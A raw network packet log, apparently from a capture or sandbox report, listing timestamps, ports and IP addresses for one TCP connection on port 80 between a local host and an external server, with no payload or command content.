Dec 31, 2024 09:48:42.829909086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.829957962 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830005884 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830005884 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830005884 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830055952 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830087900 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830118895 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830151081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830178976 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830178976 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830183029 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830216885 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830250025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830281973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830312967 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830341101 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830341101 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830344915 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830377102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830409050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830423117 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830440044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830473900 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830504894 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830504894 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830506086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830538988 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830569983 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830602884 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830631018 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830631018 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830635071 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830667973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830698967 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830732107 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830755949 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830755949 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830763102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830797911 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830827951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830859900 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830876112 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830876112 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.830892086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830925941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830956936 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.830991030 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831021070 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831049919 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831051111 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831058025 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831090927 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831124067 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831140995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831140995 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831156015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831192017 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831223965 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831255913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831281900 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831281900 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831289053 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831347942 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831379890 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831413031 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831444979 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831470966 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831471920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831475973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831511974 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831547976 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831573963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.831587076 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831594944 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.831726074 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.841542959 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.862857103 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.862899065 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.862952948 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863003016 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863008022 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863051891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863121033 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863164902 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863172054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863224030 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863239050 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863253117 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863306999 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863337994 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863373041 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863404989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863431931 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863454103 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863486052 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863487005 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863521099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863569975 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863601923 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863646984 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863653898 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863689899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863720894 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863753080 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863780975 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863780975 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863800049 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863832951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863864899 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863897085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863923073 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863923073 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.863933086 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.863972902 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.864003897 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.864037037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.864064932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.864064932 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.864068985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.864101887 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.864146948 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.864146948 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.864196062 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.885560036 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885586977 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885603905 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885615110 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885633945 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885644913 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885663986 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885672092 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.885677099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885688066 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885699987 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885710955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885723114 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885735035 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885745049 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885746956 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.885746956 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.885760069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.885855913 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.885855913 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919600010 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919626951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919640064 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919651031 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919671059 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919677019 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919682980 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919703007 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919714928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919725895 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919735909 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919743061 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919754982 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919765949 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919783115 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919792891 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919810057 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919811010 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919811964 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919821978 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919831991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919836044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919861078 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919873953 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919883966 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919884920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919884920 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919895887 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919908047 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.919909000 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.919919968 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920006037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920017004 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920018911 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920028925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920037031 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920037985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920051098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920063972 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920073986 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920119047 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920129061 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920144081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920146942 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920146942 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920161963 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920175076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920195103 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920195103 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920206070 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920216084 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920227051 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920238018 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920258045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920258045 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920269012 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920274019 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920283079 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920293093 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920321941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920331955 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920342922 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920350075 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920350075 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920356989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920368910 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920428038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920439005 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920449018 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920454979 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920454979 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920466900 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920480013 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920490980 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920514107 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920515060 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920591116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920603037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920613050 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920624018 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920625925 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920639038 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920649052 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920650959 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920664072 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920691013 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920691013 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920727015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920737982 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920768023 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920778990 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920789957 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920800924 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920813084 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920824051 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920829058 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920845032 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920902014 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920918941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920931101 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920931101 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920943975 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920955896 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920967102 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.920978069 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.920978069 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.921134949 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.953717947 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953738928 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953752995 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953763962 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953783989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953795910 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953808069 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953809977 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.953860044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953871012 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953890085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953900099 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953911066 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953919888 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953927040 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.953947067 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.953947067 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.953947067 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954011917 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954024076 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954025984 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954036951 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954047918 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954061031 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954076052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954087973 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954101086 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954106092 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954116106 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954118013 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954130888 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954148054 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954150915 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954159975 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954180002 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954181910 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954190969 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954210043 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954220057 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954221964 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954235077 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.954241991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.954452991 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976285934 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976310015 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976322889 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976334095 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976346970 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976357937 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976389885 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976406097 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976417065 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976428032 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976433039 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976433039 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976443052 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976471901 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976471901 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976515055 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976526022 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976536989 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976547956 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976560116 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976564884 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:42.976567030 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976625919 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:42.976794958 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.224128008 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.255338907 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260370016 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260430098 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260463953 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260466099 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260519981 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260528088 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260562897 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260596037 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260646105 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260685921 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260700941 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260734081 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260755062 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260782003 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260816097 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260817051 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260850906 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260879993 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:43.260884047 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:43.260916948 CET	80	49716	185.215.113.16	192.168.2.5
